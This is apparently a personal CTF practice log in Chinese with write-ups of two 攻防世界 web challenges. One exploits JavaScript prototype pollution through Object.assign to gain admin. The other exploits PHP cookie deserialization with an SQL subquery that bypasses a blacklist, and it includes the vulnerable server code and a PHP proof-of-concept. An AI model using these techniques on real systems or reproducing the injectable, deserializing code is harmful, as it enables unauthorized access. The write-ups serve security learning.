刷题记录(四)
攻防世界-wife_wife
环境中有登陆和注册页面,注册界面有admin的选项,猜测此题需要伪造admin身份。
以下是抓到数据包的内容:
数据以json格式提交,该题的考点是Javascript的原型链污染。以下是该题服务端的关键代码:
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
//该函数的作用是将baseUser,user的内容叠加到{}构成一个全新的对象newUser,该函数也是造成原型链污染的危险函数。
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
通过在__proto__
属性内部设置isAdmin:true
污染原型,实现admin身份登陆,payload:
以admin1账号进行登陆,得到flag。
攻防世界-warmup
启动环境后访问,是一个登陆页面
题目提供了源代码,进行审计,index.php中存在反序列化代码:
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
本题和登陆功能没有关系,检查cookie并进行反序列化是本题的突破点。unserialize会触发wakeup方法,在conn.php中定义了一个SQL类,conn.php代码如下:
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
//数据库查询结果的username为admin就可以输出flag
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
//查询数据库部分
public function query() {
$this->waf();
//我们不知道数据库里有哪些表,就算知道,表里也不一定会存admin的数据项,因此要自己构造
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
//参数中不允许出现blacklist里的内容
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
//数据库连接部分
if (!isset ($this->conn)) {
$this->connect ();
}
//对参数进行过滤
if($this->table){
$this->waf();
}
//关键函数
$this->check_login();
//关闭数据库连接
$this->conn->close();
}
可以通过以下方式,生成一张数据表:
select 值1 字段1,值2 字段二
生成的表格样式为:
因此,table属性是一条子查询sql语句而不是指定的表名,黑名单里没有'
,因此可以用单引号对值进行包裹。
poc代码:
<?php
class SQL{
public $table;
public $username;
public $password;
public $conn;
}
$o=new SQL();
//括号外的a是子查询表的名字
$o->table="(select 'admin' username,'123' password)a";
//要和表内的字段值一致
$o->username='admin';
$o->password='123';
echo serialize($o);
将序列化结果进行base64编码,在浏览器里找到相应位置填入:
刷新浏览器,得到flag: